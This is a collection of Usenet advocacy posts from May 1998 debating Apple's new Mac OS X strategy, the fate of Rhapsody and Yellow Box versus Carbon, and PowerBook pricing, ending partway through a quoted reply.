Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 15:51:51 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1405981551520001@192.168.0.3>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us>
In article <6jferk$7e2$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:In article <rex-1405981430100001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
:
:> In article <6jfanm$73n$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:
:> :In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
:> <nospam@nospam.com> wrote:
:
:> :> If not, then Yellow is just
:> :> another API for the same system, so why bother with it at all, just
:> :> write for Carbon...
:
:> :Why do people keep saying this? Does anyone know the difference between
:> :Carbon and Yellow???
:
:> Sure they do, and writing for Yellow is still a heap of work.
:
:No, it's not. That's the whole point.
Sorry, I meant *re*writing for Yellow.
:Yellow is a heap of work. Writing a new one for Yellow is a lot faster.
No disagreement here.
:Even given the API-retraining time, it probably still ends up better for
:a nontrivial-sized app, unless you already have lots of MacOS frameworks
:applicable to your app already written to leverage
Well that's the real problem now isn't it, Adobe, Metacreations,
Microsoft, Macromedia, etc. all have extensive application-specific
frameworks written.
-Eric
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 10:54:13 -0600
Organization: Netcom
Message-ID: <fretwiz-1405981054130001@den-co51-31.ix.netcom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104>
In article <ericb-1405981148530001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
> I am still unsure about what's going to happen to YB on Windows. Like
> Rhapsody, certainly we'll see an initial release. But from what I've
> heard, Apple said nothing more about YB/Windows that it did about
> Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
I read YB for Windows will continue.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: The New Rhapsody (aka Mac OS X)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
Message-ID: <355b49e9.0@news.depaul.edu>
Date: 14 May 98 19:45:45 GMT
In comp.sys.next.advocacy Eric King <rex@smallandmighty.com> wrote:
> Sure they do, and writing for Yellow is still a heap of work. The work
> may very well be worth it in the long run, but who wants to trust Apple in
> the long run.
Who wants to trust Microsoft in the long run?
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Lawson's impact?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104>
Message-ID: <355b4a2a.0@news.depaul.edu>
Date: 14 May 98 19:46:50 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> vast majority of machines out there...
That's the price you pay for keeping Apple a hardware-oriented company.
--
"... and subpoenas for all." - Ken Starr
Message-ID: <355B49C0.10D34097@unet.univie.ac.at>
Date: Thu, 14 May 1998 21:45:05 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk> <slrn6ljskk.p80.sal@panix3.panix.com> <3559F5D4.96E43F72@unet.univie.ac.at> <slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5>
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John Kheit wrote:
> *snip*
>
> Speaking of which...will any of this mean a damn if the rumor of
> YB not being free for developers on windows? Who is going to use
> it if dlls are not free?
> --
> Thanks, be well, take care, later, John Kheit; self expressed...
> ____________________________________________________
The traditional NeXT clientele for one.
And for custom business applications $20 are a LAUGH.
Christian Benesch
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 14:02:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfbjs$76e$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com>
In article <6jeqlq$1hv$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> nurban@vt.edu wrote:
> > ... MacOS users (e.g., OS 7.x
> > or 8 users) who haven't or can't upgrade to OS X or Rhapsody (e.g.,
> > hardware requirements) should still have a YB solution so developers
> > can target them too with new apps.
> Follow that path to its logical conclusion and you get a lobotomized OS like
> Windows, which tries so desparately to maintain compatibility (without
> succeeding) that everything else suffers.
Follow that path to its logical conclusion and you will see: not only
will developers use Carbon for existing apps, but they'll also use it
for _new_ apps (which is what Yellow is supposed to be for) so it will
run on all those existing non-OS X systems. This will kill the whole
YB strategy.
> Face it: something like Yellow Box needs substantial hardware resources. If
> you don't have those resources (by your assumption) you won't get it.
> If you do, you can get it, by getting Mac OS X.
You know as well as I do that there are lots of users who don't instantly
upgrade to each new OS release, and some _never_ will. Yet Mac developers
want to sell to them. That means they'll have to use the Carbon APIs
(which _will_ work on pre-OS X releases) if there's no YB for MacOS
available.
Message-ID: <355B31C4.77DFDC17@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu>
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Date: Thu, 14 May 1998 17:59:13 GMT
NNTP-Posting-Date: Thu, 14 May 1998 13:59:13 EDT
Pulsar wrote:
>
> The only differences between the two are the names, the possible lack of
> the Unix BSD layer in Mac OS X, and the presence of the Carbon APIs in Mac
> OS X. Other than those, the two OSes are the same.
OK, then, Jobs was lying when he said Apple was dropping 2000 APIs, of
course.
Really, what you are saying is that this entire Mac OS 10 thing is no
more than a publicity stunt desinged to hide the fact that Rhapsody as a
consumer OS is almost two years late.
If so, it's too stupid for words.
Mark me, Jobs has already started his decline at Apple. This bumble,
along with the iMac fiasco, will set the stage for Jobs' soon
retirement.
From: fretwiz@ix.netcom.com (fretwiz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:01:02 -0600
Organization: ICGNetcom
Message-ID: <fretwiz-1405981201030001@den-co51-31.ix.netcom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <fretwiz-1405981054130001@den-co51-31.ix.netcom.com> <355B182B.36556DAC@milestonerdl.com>
In article <355B182B.36556DAC@milestonerdl.com>, mark@milestonerdl.com wrote:
> Funny:
> From:
> http://www.macnn.com/macnn/reality/archives/051198/news.shtml
> (No word if Rhapsody Intel will be pushed as much)
>
> Brett talked about support for
> Rhapsody in the future on multiple architectures, but again, he too was
> very vague on this subject and did not specifically mention
> Intel. We believe Steve briefed these keynote speakers ahead of time, and
> warned them to stay clear of the Intel situation since they
> aren't quite secure in this area.
> Brett Halle, Manager of the Core OS group
>
> Seems that a future is in doubt.
Maybe, maybe not...
http://www.maccentral.com/news/9805/14.xfiles.shtml
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 12:47:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1809842-3E004@206.165.43.181>
References: <ericb-1405981308380001@132.236.171.104>
nntp://news.primenet.com/comp.sys.next.advocacy
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Eric Bennett <ericb@pobox.com> said:
>It's hard to say whether 8.1 was on time or not given that they just sort
>of released it without ever saying (except for a few weeks beforehand)
>when they were intending to release it. I would call it late given the
>estimated shipping dates leaked by inside sources.
8.1 is merely the features of 8.0 that they cut in order to make the 8.0
deadline.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Message-ID: <355B30E7.884258AD@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>
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Date: Thu, 14 May 1998 17:55:32 GMT
NNTP-Posting-Date: Thu, 14 May 1998 13:55:32 EDT
Pulsar wrote:
>
> Architecturally, the Mac OS is way past its prime. The name still holds a
> lot of power. Mac OS X will look just like the Mac OS. Few people will
> really notice or much care that the core has been ripped out and replaced
> with Rhapsody. To users it will just be a better Mac OS and not something
> entirely different *with a different name*.
>
I disagree. I think "Mac OS" has long denoted the past, not the future.
The idea of Rhapsody, for instance, was extremely well-received by the
Mac community. People had actually gotten used to the name. The press
had even picked it up. Now, what has Jobs sown but more confusion?
Nope, the idea that "the past is better" is entirely the invention and
the construct of Steve Jobs. He's wrong. He's been out of the consumer
market loop for a decade. It's really sort of strange, though, that now
that he's back in he should make the assumption that "nothing has
changed."
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <rmcassid-1305981222130001@dante.eng.uci.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355b1e83.0@206.25.228.5>
Date: 14 May 98 16:40:35 GMT
rmcassid@uci.edu (Robert Cassidy) wrote:
> In article <3559e232.11448506@100.100.100.1>, jwilker@wesweb.com
> (John T. Wilker) wrote:
> >I've been reading about the new Wall Street's and those things
> >cost way to much money. Granted they are fast and very awesome
> >but for that kind of sticker price I expect a car, not a notebook.
> You expect a car for $2299. Where do you live, Romania?
That's the cheapo model w/ too little ram, too little screen space
(800x600 is pretty useless imo), and too little hd. The processor
speed is more than fine, however. Unfortunatly, the first decently
configured machine I saw was for 3899. Sure, not even a Yugo, but
still pricey. Considering I can get a P2-266, 14.1" (instead of
the above priced 13.3"), 32mb, 2gb laptop for 2600.00; upgrading
it to decent ram and hd (64/ 4gb) will run an extra 300 or 400.
So 900 less for a bigger screen, though both are XGA which is great.
Seems a 250mhz 13.3" screen G3 will run me about 30% more than a
266mhzPII, 14.2" screen. I'm not sure that's at a competitive
price point yet. As always, YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <SnowSim-1105980159280001@blv-ux100-ip3.nwnexus.net> <6j9488$e9u$1@reader1.reader.news.ozemail.net> <3558CA19.693D@sympatico.ca> <3559e232.11448506@100.100.100.1> <6jf5ok$30u$1@interport.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355b21d4.0@206.25.228.5>
Date: 14 May 98 16:54:44 GMT
float@interport.net wrote:
> You get what you pay for. PCs are cheap, and that's why it's
> the most broken architecture in production (at least, I haven't
> seen any other good candidates for that honor.
Yes, but PC are not PC laptops. And PC laptops, generally, and
especially as of late, are very good indeed (anecdotal exceptions
notwithstanding).
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 14:13:43 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfc8n$77i$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <355A36A9.770CD512@milestonerdl.com> <6je88a$653$1@crib.bevc.blacksburg.va.us> <355AD59E.5A24944D@milestonerdl.com>
In article <355AD59E.5A24944D@milestonerdl.com>, mark@milestonerdl.com wrote:
> And when Rhapsody/PPC goes away? What I saw from the slides, the plan is it
> WILL go away.
That is still far from obvious. I've run across reporting somewhere
that said that Rhapsody _will_ exist as a separate product. Apple has
not been clear on this, though.
> And why shouldn't it?
Why should it?
It should if it provides everything Rhapsody has, in which case it
doesn't matter if "Rhapsody" goes away. If it doesn't, then there's a
reason to keep Rhapsody.
Apple is without doubt going to provide _some_ sort of server-oriented
solution; whether they call it "MacOS X" or "Rhapsody" doesn't really
matter.
> Rhapsody/PPC gone, Rhapsody on Intel will go away.
Even if Rhapsody goes away, I don't think they've said that OS X won't
run on Intel. They've said that _Carbon_ won't (IIRC). Rhapsody on Intel
doesn't have a Blue Box, there's no reason why a MacOS X on Intel couldn't
do without a Blue Box or a Carbon. It seems from the architecture that
Blue/Carbon/Yellow are all independent peer-level APIs.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 14:30:10 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1405981430100001@192.168.0.3>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us>
In article <6jfanm$73n$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
<nospam@nospam.com> wrote:
:
:> If not, then Yellow is just
:> another API for the same system, so why bother with it at all, just
:> write for Carbon...
:
:Why do people keep saying this? Does anyone know the difference between
:Carbon and Yellow???
Sure they do, and writing for Yellow is still a heap of work. The work
may very well be worth it in the long run, but who wants to trust Apple in
the long run. If Mac OS X ships in 1999, I wouldn't expect a mass Yellow
Box migration before 2001.
-Eric
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 14:16:37 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfce5$784$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104>
In article <ericb-1405981148530001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
> Apple has made it clear that they are combining MacOS 8 and Rhapsody to
> create *one* OS, MacOS X.
Actually, they have not made that clear.
> I am still unsure about what's going to happen to YB on Windows. Like
> Rhapsody, certainly we'll see an initial release. But from what I've
> heard, Apple said nothing more about YB/Windows that it did about
> Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
I beg to differ. All _I've_ heard about YB/Windows, Rhapsody/PPC,
and Rhapsody/x86 are things like "we remain fully committed to these
products". I've never seen anything from Apple that says they're ditching
_any_ of them, only that they are merging MacOS and Rhapsody technologies
into OS X.
Message-ID: <355B3753.87C5DDCA@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <6jd2q7$bs1$1@nnrp1.dejanews.com>
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Date: Thu, 14 May 1998 18:22:55 GMT
NNTP-Posting-Date: Thu, 14 May 1998 14:22:55 EDT
spagiola@my-dejanews.com wrote:
>
> All those who have been working their tails off to have Yellow-Box apps ready
> will be able to ship when Rhapsody ships, ie next quarter. Those who have to
> wait longer are those who have NOT done anything to adapt their apps to
> Rhapsody. They get a bonus they had not anticipated, since their apps will
> gain access to protected memory and preemptive multitasking with a minimal
> effort. But they do have to wait a little before this can happen.
>
Great! The what can you tell me is *WRONG* with Rhapsody? What's so
wrong with it that we have to hear *anything* about Mac OS 10 in 1999?
And what do you think this announcement will mean to Rhapsody sales and
Rhapsody developers? Nothing? That's the answer I expect from some
quarters around here....:)
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 14 May 1998 18:39:19 GMT
Organization: Idiom Communications
Message-ID: <6jfdon$5ds$1@news.idiom.com>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139>
<joe.ragosta-0505980801340001@wil129.dol.net> <355876CC.F3A3A297@Eng.Sun.COM>
<6jc5e0$muf$1@nnrp1.dejanews.com> <355A3DC4.6D98@earthlink.net>
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Cc: skellener@earthlink.net
Steve Kellener may or may not have said:
-> JOHN LEE <john.s.lee@Eng.Sun.COM> wrote:
-> > Rhapsody will NEVER go mainstream, it is cancelled. Just like I said
-> > months ago it would be!
->
-> What an idiot.
Hey John Lee! Don't leave your machine logged in when you go to lunch.
Somebody posted from your account and made you look like a complete twit!
-jcr
Message-ID: <355B3865.D74E6279@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <6jd2q7$bs1$1@nnrp1.dejanews.com> <355A0313.E62651A2@milestonerdl.com> <355A04FC.420CED76@milestonerdl.com> <6jd44l$522$1@camel21.mindspring.com>
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Date: Thu, 14 May 1998 18:27:30 GMT
NNTP-Posting-Date: Thu, 14 May 1998 14:27:30 EDT
Matthew Cromer wrote:
>
>
> Brad, don't bother replying to Harker. He is nothing more than a rabid
> troll.
I like to think of myself more as a "reasonable counterpoint" than a
rabid troll, thank you...:) But I will cheerfully admit that I am in
probably the wrong place to talk about "reason"....:)
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 12:52:28 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us>
NNTP-Posting-Date: 14 May 1998 19:47:55 GMT
In article <6jff08$7ei$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > > But the main point is that the people who "fell for" developing for the
> > > Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> > > part of MacOS X.
>
> > And if you 'fell for it' as part of a cross-platform spec, you will have to
> > move elsewhere.
>
> Wrong.
To expand on Mr Urban's wonderfully concise statement:
Yellow Box is not dead. It exists in MacOS X. It exists in Rhapsody PPC
and Rhapsody Intel (which will continue as a separate server/developer
line, likely under the moniker of 'MacOS Enterprise'), and it exists in
Yellow Box for Windows (which now costs $20 due to some stupid licencing
fee Apple has to pay. Damn you Adobe, Apple saved a large portion of your
butt with Carbon [don't have to port to YB right away], give them a little
slack!). Existing Mac developers will write to Carbon initially, because
it's a lot of work to port a monolithic app like Photoshop or a suite like
MS Office over to a new platform like YB. But new developers, and
developers starting new projects, will want to develop for Yellow Box
because it's a wonderfull dev environment and it's cross-platform (running
on three/four/five [depending on how you count] OS' natively, two/three of
which are the leading operating systems in the desktop market, and one/two
others which are powerfull newcomers in the server market, is pretty good
in my book).
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:50:26 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B2EE2.654AA8E2@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <fretwiz-1405981054130001@den-co51-31.ix.netcom.com> <355B182B.36556DAC@milestonerdl.com> <fretwiz-1405981201030001@den-co51-31.ix.netcom.com>
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fretwiz wrote:
> In article <355B182B.36556DAC@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Funny:
> > From:
> > http://www.macnn.com/macnn/reality/archives/051198/news.shtml
> > (No word if Rhapsody Intel will be pushed as much)
> >
> > Brett talked about support for
> > Rhapsody in the future on multiple architectures, but again, he too was
> > very vague on this subject and did not specifically mention
> > Intel. We believe Steve briefed these keynote speakers ahead of time, and
> > warned them to stay clear of the Intel situation since they
> > aren't quite secure in this area.
> > Brett Halle, Manager of the Core OS group
> >
> > Seems that a future is in doubt.
>
> Maybe, maybe not...
>
> http://www.maccentral.com/news/9805/14.xfiles.shtml
And to quote from your 'debunking' source:"In other news, previous reports that
"Rhapsody for PowerPC" and "Rhapsody for Intel" will eventually be phased out may be
wrong."
MAY BE WRONG. Not *IS*. MAY BE.
We now return you to dig up a real live NT 5.x committment.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 20:12:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jfj8a$rku@newsb.netnews.att.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
Originator: gupta@tlctest
Eric King <rex@smallandmighty.com> wrote:
>
> Sure they do, and writing for Yellow is still a heap of work. The work
>may very well be worth it in the long run, but who wants to trust Apple in
>the long run. If Mac OS X ships in 1999, I wouldn't expect a mass Yellow
>Box migration before 2001.
Why should there be a "mass Yellow Box migration" ?
There, hopefully, will be a mass migration to the version of MacOS
that supports Yellow Box. The rest is upto you developers.
A user could care less whether the application is written in Carbon
or in the Yellow Box, or both. All that matters is how good the
application is.
There is a lot of "legacy" code around, so Carbon will be around for
a long time. What the Yellow Box advocates need is
a. platforms on which the Yellow Box runs to remain viable.
In this, Carbon is going to be a great help, for
the PPC end. Since Windows NT is going to be around,
the Intel end is covered.
b. enough successful Yellow Box applications to keep Apple
interested in maintaining the Yellow Box.
This is entirely upto ISVs. If the Yellow Box doesn't
give them a competitive edge, and nothing shows up
for a couple of years, then Apple would be justified
in reconsidering support for the Yellow Box. If it
takes a current large developer house to adopt
Yellow Box in order to have a successful Yellow Box
application, then the Yellow Box is not sufficiently
differentiated from the competition to justify its
survival on technical merits alone.
-arun gupta
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 12:56:55 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981256550001@news>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us>
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In article <6jdaui$5bc$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Uh, sorry. Rhapsody is not pre-OS X MacOS. MacOS users (e.g., OS 7.x
> or 8 users) who haven't or can't upgrade to OS X or Rhapsody (e.g.,
> hardware requirements) should still have a YB solution so developers
> can target them too with new apps.
You have to draw the line somewhere. Too much backward compatibility may
kill Apple. As far as I'm concerned, drawing the line at PCI-based Power
Macs is fine.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:09:11 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981309110001@news>
References: <ericb-1105981718430001@132.236.171.104> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu> <6jdbu7$rbn$1@gaia.ns.utk.edu>
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In article <6jdbu7$rbn$1@gaia.ns.utk.edu>, veal@utk.edu (David Veal) wrote:
> MacOS X sounds like what Rhapsody was promised to be + Carbon, and
> Rhapsody 1.0 isn't looking anywhere near what Rhapsody was promised to be
> - Carbon.
On what do you base this belief? What was promised for Rhapsody that hasn't
been delivered? From what I've seen, Rhapsody has provided a Mac-like
interface on an advanced OS.
Andy Bates.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 12:58:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B30B0.355C95BB@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355AEB93.4AC11DA3@milestonerdl.com>, mark@milestonerdl.com wrote:
> But the main point is that the people who "fell for" developing for the
